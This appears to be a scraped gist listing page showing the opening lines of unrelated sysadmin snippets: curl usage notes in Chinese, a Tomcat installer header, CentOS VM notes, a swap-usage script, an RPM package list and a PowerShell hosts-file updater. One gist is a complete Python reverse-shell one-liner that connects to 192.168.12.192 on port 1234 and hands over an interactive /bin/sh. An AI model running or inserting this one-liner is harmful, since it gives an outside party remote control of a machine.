#参考资料
###下载单个文件,默认将输出打印到标准输出中(STDOUT)中
curl http://www.centos.org
#参考资料
###下载单个文件,默认将输出打印到标准输出中(STDOUT)中
curl http://www.centos.org
| #! /bin/sh | |
| # ================================================================== | |
| # ______ __ _____ | |
| # /_ __/___ ____ ___ _________ _/ /_ /__ / | |
| # / / / __ \/ __ `__ \/ ___/ __ `/ __/ / / | |
| # / / / /_/ / / / / / / /__/ /_/ / /_ / / | |
| #/_/ \____/_/ /_/ /_/\___/\__,_/\__/ /_/ | |
| # Multi-instance Apache Tomcat installation with a focus | |
| # on best-practices as defined by Apache, SpringSource, and MuleSoft |
| python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.12.192\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" |
| ## Download latest CentOS 7 x86_64 minimal iso image | |
| ## Good readings | |
| # https://labs.vmware.com/vmtj/methodology-for-performance-analysis-of-vmware-vsphere-under-tier-1-applications | |
| # https://labs.vmware.com/vmtj/virtualizing-latency-sensitive-applications-where-does-the-overhead-come-from | |
| ## Create typical CentOS VM | |
| # compatible with 'ESXi 6.0 and later' | |
| # set 'Guest OS Family' to 'Linux' | |
| # set 'Guest OS Version' to 'CentOS 4/5/6/7 (64 bit)' |
| #!/usr/bin/env python | |
| # coding:utf-8 | |
| import re | |
| import sys | |
| import logging | |
| import requests | |
| from bs4 import BeautifulSoup | |
| def _log(): |
| #!/usr/bin/env python3 | |
| # Check connection to the RabbitMQ server | |
| # Source: https://blog.sleeplessbeastie.eu/2017/07/10/how-to-check-connection-to-the-rabbitmq-message-broker/ | |
| # import parser for command-line options | |
| import argparse | |
| # import a pure-Python implementation of the AMQP 0-9-1 | |
| import pika | |
| # define and parse command-line options |
| #!/bin/bash | |
| # Find out current screen width and hight | |
| _COLUMNS=$(tput cols) | |
| # Set default message if ( input not provided | |
| _MESSAGE=" FBI Warining " | |
| # Calculate x and y coordinates so that we can display $MESSAGE | |
| # centered in the screen | |
| y=$(( ( $_COLUMNS - ${#_MESSAGE} ) / 2 )) | |
| spaces=$(printf "%-${y}s" " ") | |
| # Alright display message stored in $_MESSAGE |
| ModemManager-glib-1.1.0-6.git20130913.el7.x86_64 | |
| NetworkManager-0.9.9.1-13.git20140326.4dba720.el7.x86_64 | |
| NetworkManager-glib-0.9.9.1-13.git20140326.4dba720.el7.x86_64 | |
| NetworkManager-tui-0.9.9.1-13.git20140326.4dba720.el7.x86_64 | |
| acl-2.2.51-12.el7.x86_64 | |
| aic94xx-firmware-30-6.el7.noarch | |
| alsa-firmware-1.0.27-2.el7.noarch | |
| alsa-lib-1.0.27.2-3.el7.x86_64 | |
| alsa-tools-firmware-1.0.27-4.el7.x86_64 | |
| audit-2.3.3-4.el7.x86_64 |
| #!/bin/bash | |
| # Get current swap usage for all running processes | |
| # Erik Ljungstrom 27/05/2011 | |
| SUM=0 | |
| OVERALL=0 | |
| for DIR in `find /proc/ -maxdepth 1 -type d | egrep "^/proc/[0-9]"` ; do | |
| PID=`echo $DIR | cut -d / -f 3` | |
| PROGNAME=`ps -p $PID -o comm --no-headers` | |
| for SWAP in `grep Swap $DIR/smaps 2>/dev/null| awk '{ print $2 }'` | |
| do |
| $url = "https://raw.githubusercontent.com/racaljk/hosts/master/hosts" | |
| $path = "%SystemRoot%\System32\drivers\etc\hosts" | |
| # param([string]$url, [string]$path) | |
| if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { | |
| $path = Join-Path $pwd (Split-Path -leaf $path) | |
| } | |
| "Downloading [$url]`nSaving at [$path]" | |
| $client = new-object System.Net.WebClient |